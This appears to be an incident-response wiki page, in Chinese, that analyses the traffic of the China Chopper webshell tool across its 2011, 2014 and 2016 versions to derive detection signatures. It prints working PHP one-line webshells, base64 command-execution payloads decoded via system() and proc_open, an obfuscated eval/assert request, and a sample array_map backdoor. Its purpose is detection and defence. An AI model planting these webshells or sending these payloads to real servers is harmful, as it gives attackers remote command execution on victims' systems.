应急响应
应急响应概述
Windows入侵排查
Windows日志分析
Linux入侵排查
Linux日志分析
Windows入侵排查【详细版】
Linux入侵排查【详细版】
蚁剑流量分析
冰蝎流量分析
中国菜刀流量分析
Webshell管理工具流量特征
-
+
首页
中国菜刀流量分析
## 简介 中国菜刀自诞生以来已经历了多个版本的更新,其功能、隐秘性也随着更新得到很大提升。 菜刀主流有三个版本在使用,分别为2011版、2014版、2016版,这三个版本中从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量加入了混淆,使其链接流量更具有混淆性。 ## 2011/2014版本 首先在站点中上传了一个Webshell,同时key为pass,并能够通过System代码执行命令。  ## 2011流量分析 首先:通过对第一个命令执行的数据包进行分析,可以看到首先"pass" = "@eval(base64_decode($_POST[z0]));"也就是说菜刀默认会自己再上传一个一句话木马进行后续的命令执行动作。  然后对z0中的内容进行base64_decode得到: ```php QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs= ## base64_decode得到: @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";;echo("|<-");die(); # @ini_set(“display_errors”,“0”);临时关闭PHP的错误显示功能 # @set_time_limit(0);表示不限制页面执行时间,防止像dir、上传文件大马时超时 # @set_magic_quotes_runtime(0);关闭魔术引号,加上反斜杠转义外部导入的特殊字符 # echo("->|"); ## 注意这里面有$p接收到z1的值,$s接受到z2的值。 # $d=dirname($_SERVER["SCRIPT_FILENAME"]);dirname() 函数返回路径中的目录部分。 # $_SERVER[“SCRIPT_FILENAME”]:表示当前执行脚本的绝对路径。 # $c=substr($d,0,1)=="/"?" -c "{$s}" ":"/c "{$s}" "; 三目运算,如果第一个字符的内容是"/"则执行-c "{$s}",如果不是则以/c的方式执行。可以通过这种方式区别Windows和Linux # $r="{$p} {$c}"; $r将完整的命令进行了拼接。 # print ($ret!=0)?"ret={$ret}":""; 再跟上一个三目运算,如果ret也就是返回的结果不为空,则进行输出,如果为空则不进行任何操作。 ``` 再通过对数据包中的z1和z2进行base64_decode: ```bash Form item: "z1" = "L2Jpbi9zaA==" ## base64_decode得到: /bin/sh ``` ```bash Form item: "z2" = "Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzLyI7d2hvYW1pO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==" ## base64_decode得到: cd "/var/www/master/hackable/uploads/";whoami;echo [S];pwd;echo [E] ``` [S]和[E]是用来识别命令执行的结果以及当前所在的目录,在交互式界面中的菜刀才可以给你进行展示所在的目录。 ## 2014流量分析  base64_decode这个字符串被加密 ```php $xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); ## base64_decode得到: $xx=base64_decode; ```  一句话木马存在混淆。 ```php $yy=$_POST;@eval/**/.($xx/**/.($yy[z0])); 这里/**/表示注释符号,没有意思,可以翻译成: @eval(base64_decode($_POST[z0])) ``` 木马的Payload: ```php @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $m=get_magic_quotes_gpc(); $p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]); $s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c\"{$s}\"":"/c\"{$s}\""; $r="{$p}{$c}"; $array=array(array("pipe","r"),array("pipe","w"),array("pipe","w")); $fp=proc_open($r." 2>&1",$array,$pipes); $ret=stream_get_contents($pipes[1]); proc_close($fp); print $ret;; echo("|<-");die(); ## 和2011菜刀不同的点如下: # $m=get_magic_quotes_gpc(); 判断PHP有没有自动调用addslashes 这个函数。若php调用了addslashes函数,则get_magic_quotes_gpc()返回true。默认情况下,PHP指令magic_quotes_gpc为on,对所有的GET、POST和COOKIE数据自动运行addslashes()。不要对已经被magic_quotes_gpc转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。 # $p 获得对 z1 请求的内容进行特殊处理过后的值。 # $s 获得对 z2 请求的内容进行特殊处理过后的值。 ``` proc_open:该函数用于执行一个命令,并且打开用来输入/输出的文件指针。 ```php proc_open( mixed $cmd, array $descriptorspec, array &$pipes, string $cwd = null, array $env = null, array $other_options = null ): resource # $descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。 ## 数组中的元素可以是: ## 1. 包含了要传送至进程的管道的描述信息的数组$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w")); ## 2. 表达一个真实文件描述符的流资源类型 (例如:已打开的文件,一个 socket 端口,STDIN)。 # pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。 ## https://www.php.net/manual/zh/function.proc-open.php ## 在pipes这个管道里面,$pipes[1]是数据的输出的内容。 ``` ## 2016流量分析 在中国菜刀2016版本中所有的命令请求都属于同一个会话。   2016这个版本,最大的流量变化就是将特征进行打断混淆。 ```http POST /master/hackable/uploads/test.php HTTP/1.1 X-Forwarded-For: 41.192.200.41 Referer: http://192.168.111.129/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Host: 192.168.111.129 Content-Length: 819 Cache-Control: no-cache pass=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzLztpcCBhZGRyO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");")); ``` 基本特征如下: 1. 使用"Ba"."SE6"."4_dEc"."OdE字符串拼接,隐藏恶意代码。 2. 调用array_map函数隐藏传输恶意代码。 3. @ev"."al,这部分也是将@eval这部分进行打断连接,可以识别这段代码即可。 4. QGluaV9zZXQoImRpc3BsYXlf...,该部分是传递攻击payload,payload依旧使用Base64编码的,所以可以利用base64解码可以看到攻击明文来识别。 5. array_map回调:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。可以是自己自定义,也可以选择使用系统自带的比如assert/eval函数,执行命令。 ```php <?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); array_map(base64_decode($e), $arr); ?> ### 在请求的的quary中我们要发送需要执行的函数 ### 在POST的pass项中,我们要设置所需要执行的命令 ### 通过array_map,pass的值会被传入到$e中。也就是我设置e=assert,那么array_map传入后会变成assert(pass) ```  其实就是array_map("assert",$a)。
毛林
2025年11月1日 14:31
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码